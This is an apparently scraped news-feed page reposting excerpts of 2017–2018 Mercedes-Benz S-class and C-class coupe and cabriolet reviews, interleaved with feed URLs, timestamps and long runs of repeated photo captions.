Interior trim is done in light brown high-gloss sen, an Asian hardwood, and nappa leather in the seats, front and rear center armrests, instrument panel, door center panels and map pockets on driver and front passenger backrests, and contrasting topstitching galore. It also gets a Burmester surround-sound system, diamond-shaped perforated seat upholstery, microfiber roof liner and sun visors, door sills with illuminated MB lettering and special floor mats with edges trimmed in either titian red or porcelain.

Mercedes-Benz announced a mid-cycle refresh last fall that included new OLED taillights on its two-door models, plus common-to-the-sedan features like new semiautonomous driver-assist features, 12-inch Widescreen Cockpit dash and infotainment system and the Energizing Comfort system for lights, massage, ventilation and atomizing cabin odorizer. Pricing on the Exclusive Edition wasn’t announced, but expect it to climb north of the 2017 Cabriolet’s $ 131,400 starting MSRP.

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]]> https://briefnews.eu/mercedes-benz-s-class-coupe-cabriolet-get-even-more-luxurious/feed/ 0 2018 Mercedes-Benz C-class Coupe and Cabriolet – In-Depth Review https://briefnews.eu/2018-mercedes-benz-c-class-coupe-and-cabriolet-in-depth-review/ https://briefnews.eu/2018-mercedes-benz-c-class-coupe-and-cabriolet-in-depth-review/#respond Sat, 24 Feb 2018 09:03:04 +0000 http://briefnews.eu/2018-mercedes-benz-c-class-coupe-and-cabriolet-in-depth-review/ –2018 Mercedes-Benz C300 Cabriolet–2018 Mercedes-Benz C300 Cabriolet–2018 Mercedes-Benz C300 Cabriolet–2018 Mercedes-Benz C300 Cabriolet–2018 Mercedes-Benz C300 Cabriolet–2018 Mercedes-Benz C300 Cabriolet–2018 Mercedes-Benz C300 Cabriolet–2018 Mercedes-Benz C300 Cabriolet–2018 Mercedes-Benz C300 Cabriolet–2018 Mercedes-Benz C300 Cabriolet–2018 Mercedes-Benz C300 Cabriolet–2018 Mercedes-Benz C300 Cabriolet–2018 Mercedes-Benz C300 Cabriolet–2018 Mercedes-Benz C300 Cabriolet–2018 Mercedes-Benz C300 Cabriolet–2018 Mercedes-Benz C300 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]]> https://briefnews.eu/2018-mercedes-benz-c-class-coupe-and-cabriolet-in-depth-review/feed/ 0 2018 Mercedes-Benz C-class Coupe and Cabriolet in Depth: Relaxing in Style https://briefnews.eu/2018-mercedes-benz-c-class-coupe-and-cabriolet-in-depth-relaxing-in-style/ https://briefnews.eu/2018-mercedes-benz-c-class-coupe-and-cabriolet-in-depth-relaxing-in-style/#respond Sat, 24 Feb 2018 08:02:55 +0000 http://briefnews.eu/2018-mercedes-benz-c-class-coupe-and-cabriolet-in-depth-relaxing-in-style/ 2018-Mercedes-Benz-C-class-01-Placement

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As with the four-door sedan on which they are based, the Mercedes-Benz C-class coupe and cabriolet offer style that mimics that of the larger E- and S-class models. The svelte junior Benz two-doors serve as an entry point to the motoring high life, where sleek lines and luxurious cabins mean more than practical considerations such as interior space or luggage capacity. Driving either the rear wheels or all four is a turbocharged four-cylinder engine that provides adequate, if not exactly thrilling, power. Some rivals offer sportier handling, zippier acceleration, and smoother rides, but the C-class coupe and cabriolet are prettier and coddle occupants in one of the nicest interiors in the segment. Tech features pioneered on the brand’s more expensive offerings have trickled down as well, including available automated emergency braking, adaptive cruise control, and lane-keeping assist. The C-class coupe and cabriolet are lovely, impressive pieces that are well suited for drivers who prefer relaxing in style. READ MORE ››

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]]> https://briefnews.eu/2018-mercedes-benz-c-class-coupe-and-cabriolet-in-depth-relaxing-in-style/feed/ 0 S-classy: 2018 Mercedes-Benz / Mercedes-AMG S-class Coupe and Cabriolet First Drive https://briefnews.eu/s-classy-2018-mercedes-benz-mercedes-amg-s-class-coupe-and-cabriolet-first-drive/ https://briefnews.eu/s-classy-2018-mercedes-benz-mercedes-amg-s-class-coupe-and-cabriolet-first-drive/#respond Mon, 04 Dec 2017 20:25:31 +0000 http://briefnews.eu/s-classy-2018-mercedes-benz-mercedes-amg-s-class-coupe-and-cabriolet-first-drive/

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Trying to come up with criticisms for any members of Mercedes-Benz’s S-class lineup can feel a bit like picking nits with a Monet painting—you’re nearly reduced to stabbing the canvas with a crayon just to find something worthy of complaint. Similarly, finding fault with the latest S-class coupe and cabriolet models takes some effort, an impression reinforced after we spent time in the updated-for-2018 versions of the luxurious full-size two-doors, which offer a new engine, the carmaker’s latest driver-assistance features, and subtle styling revisions. READ MORE ››

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]]> https://briefnews.eu/s-classy-2018-mercedes-benz-mercedes-amg-s-class-coupe-and-cabriolet-first-drive/feed/ 0 2018 Mercedes-Benz / Mercedes-AMG S-class Coupe and Cabriolet – First Drive Review https://briefnews.eu/2018-mercedes-benz-mercedes-amg-s-class-coupe-and-cabriolet-first-drive-review/ https://briefnews.eu/2018-mercedes-benz-mercedes-amg-s-class-coupe-and-cabriolet-first-drive-review/#respond Mon, 04 Dec 2017 19:26:46 +0000 http://briefnews.eu/2018-mercedes-benz-mercedes-amg-s-class-coupe-and-cabriolet-first-drive-review/ –2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-Benz S-class–2018 Mercedes-Benz S-class–2018 Mercedes-Benz S-class–2018 Mercedes-Benz S-class–2018 Mercedes-Benz S-class–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-AMG S63 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 cabriolet–2018 Mercedes-Benz S560 4Matic–2018 Mercedes-Benz S560 4Matic–2018 Mercedes-Benz S560 4Matic–2018 Mercedes-Benz S560 4Matic–2018 Mercedes-Benz S560 4Matic–2018 Mercedes-Benz S560 4Matic–2018 Mercedes-Benz S560 4Matic–2018 Mercedes-Benz S560 4Matic–2018 Mercedes-Benz S560 4Matic–2018 Mercedes-Benz S560 4Matic–2018 Mercedes-Benz S560 4Matic–2018 Mercedes-Benz S560 4Matic—

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]]> https://briefnews.eu/2018-mercedes-benz-mercedes-amg-s-class-coupe-and-cabriolet-first-drive-review/feed/ 0 2018 Mercedes-Benz C300 Cabriolet – Instrumented Test https://briefnews.eu/2018-mercedes-benz-c300-cabriolet-instrumented-test/ https://briefnews.eu/2018-mercedes-benz-c300-cabriolet-instrumented-test/#respond Thu, 19 Oct 2017 01:23:08 +0000 http://briefnews.eu/2018-mercedes-benz-c300-cabriolet-instrumented-test/ –2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet–2018 Mercedes-Benz C300 cabriolet—

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]]> https://briefnews.eu/2018-mercedes-benz-c300-cabriolet-instrumented-test/feed/ 0 2018 Mercedes-Benz C300 Cabriolet Tested: This Softtop Is No Softie https://briefnews.eu/2018-mercedes-benz-c300-cabriolet-tested-this-softtop-is-no-softie/ https://briefnews.eu/2018-mercedes-benz-c300-cabriolet-tested-this-softtop-is-no-softie/#respond Wed, 18 Oct 2017 23:23:41 +0000 http://briefnews.eu/2018-mercedes-benz-c300-cabriolet-tested-this-softtop-is-no-softie/ 2018-Mercedes-Benz-C300-cabriolet-PLACEMENT

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More than a century before the invention of the automobile, France introduced the world to the cabriolet: a two-wheeled, horse-drawn carriage intended for short jaunts about town. The compact carriage notably featured a folding roof that could be tucked away in good weather or raised to protect passengers from nature’s elements. READ MORE ››

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